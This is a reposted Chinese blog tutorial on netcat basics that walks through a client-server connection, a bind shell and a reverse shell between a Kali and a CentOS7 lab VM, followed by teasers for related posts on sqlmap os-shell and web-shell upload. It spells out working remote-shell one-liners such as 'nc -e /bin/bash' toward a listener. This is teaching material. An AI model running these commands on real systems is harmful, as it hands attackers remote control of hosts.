nc基本操作&反弹shell

摘要:
它可以在TCP或UDP模式下运行。如果添加参数-u,它将调整为UDP。默认值为TCP,可以在Windows或Linux系统中使用,也可以在两者之间使用,但相应的命令略有不同。

一、nc简介

nc 被称为瑞士军刀netcat ,所做的就是在两台电脑之间建立链接,并返回两个数据流。

可运行在TCP或者UDP模式,添加参数 —u 则调整为UDP默认为TCP

即可用在windows系统也可在linux系统,也可作用于二者之间,只是对应的命令有微微差异。

二、nc常用参数

  • -l 开启监听

  • -p 指定一个端口

  • -v 显示详细输出

  • -e 指定对应的应用程序

  • -n nc不要DNS反向查询IP的域名

  • -z 连接成功后立即关闭连接

三、建立C-S连接

  3.1 环境:

目的在于实现client输入的内容同样显示在server的终端上

client:CentOS7 192.168.124.128

server:kali  192.168.124.133

  3.2 步骤:

在server端kali虚拟机上开启监听1234端口:

nc -lvp 1234

nc基本操作&反弹shell第1张

在client端虚拟机上执行如下命令后并随便键入内容(如下图所示):

nc -v 192.168.124.133 1234

nc基本操作&反弹shell第2张

server端收到相同内容:

nc基本操作&反弹shell第3张

四、正向反弹shell

  4.1 环境:

目的在于实现kali的shell反弹到CentOS7的终端上,并可在CentOS7上执行命令操作kali

kali监听端口、选择对应的程序,CentOS7连接kali

CentOS7 192.168.124.128

kali  192.168.124.133

  4.2 步骤:

在kali上执行:

nc -lvvp 2222 -e /bin/bash

nc基本操作&反弹shell第4张

在CentOS7上执行:

nc 192.168.124.133 2222

nc基本操作&反弹shell第5张

nc基本操作&反弹shell第6张

如上图所示即为连接成功,下面尝试执行命令

nc基本操作&反弹shell第7张

nc基本操作&反弹shell第8张

五、反向反弹shell

  5.1 环境:

目的在于CentOS开启监听端口,然后kali自己将shell反弹给CentOS7,而无需CentOS7去连接kali

kali 192.168.124.133

CentOS 192.168.124.128

  5.2 步骤:

CentOS7上开启监听3333端口,等待kali连接并反弹shell:

nc -lvp 3333

nc基本操作&反弹shell第9张

kali连接CentOS7并将shell反弹过去 :

nc -e /bin/bash 192.168.124.128 3333

反弹成功

nc基本操作&反弹shell第10张

nc基本操作&反弹shell第11张

所以正向弹shell是在靶机上监听端口,-e程序,然后攻击者连接
反向弹shell是在攻击者电脑上监听端口,然后靶机-e程序,连接攻击者端口

免责声明:文章转载自《nc基本操作&反弹shell》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Flask web应用使用霍夫变换检测虹膜内圆的注意事项下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

shell命令之find的用法

最近面试的时候碰到了shell中问到find的问题,因此今天总结一下find的用法   1、find的应用场景   2、find的使用方法和参数解析 1、find的应用场景  首先我们回答一下find的应用场景。我个人觉得find可以和grep来进行对比分析。find是用来查找文件或者目录的,而grep是用来查找文件中的字符串的。 2、find的使用方法和...

sqlmap os-shell探索

目录 1 条件 2 过程 3 分析3.1 上传/命令shell[php] 4 拓展 4.1 google找sqlmap的上传shell 4.2 自定义shell[翻车] 5 参考 1 条件 网站的绝对路径 mysql进程有网站绝对路径的写权限 mysql用户为root mysql允许写[secure_file_priv] GPC关闭...

APP测试之Monkey压力测试(一)

(一)Monkey简介 Monkey意指猴子,顽皮淘气。所以Monkey测试,顾名思义也就像猴子一样在软件上乱敲按键,猴子什么都不懂,就爱捣乱。Monkey原理也是类似,通过向系统发送伪随机的用户事件流(如按键输入、触摸屏输入、滑动Trackball、手势输入等操作),来对设备上的程序进行压力测试,检测程序多久的时间会发生异常。Monkey包括许多选项,它...

linux shell中读写操作mysql数据库

本文介绍了如何在shell中读写mysql数据库。主要介绍了如何在shell 中连接mysql数据库,如何在shell中创建数据库,创建表,插入csv文件,读取mysql数据库,导出mysql数据库为xml或html文件, 并分析了核心语句。本文介绍的方法适用于PostgreSQL ,相对mysql而言,shell 中读写PostgreSQL会更简单些。1...

awk 调用 shell 命令,并传递参数

from:awk 调用 shell 命令的两种方法:system 与 print shell 向awk传递命令,这样使用即可: awk -v  ...  但反过来呢?awk调用外部命令,同时也传参呢?  awk 中使用的 shell 命令,有 2 种方法:一。使用所以 system()awk 程序中我们可以使用 system() 函数去调用 shell...

[实战]记一次PUT方法拿下网站shell

第一次用方法拿shell,之前遇到的都是没有写入权限的。 站太辣鸡,纯粹练手,就不打码了。 此次实战会用到的HTTP请求方法: OPTIONS,PUT,MOVE/COPPY * 战前准备 0x01 什么是OPTIONS方法? 此方法用于请求获得由URL标识的资源在请求/响应的通信过程中可以使用的功能选项。通过这个方法,客户端可以在采取具体资源请求之前,决...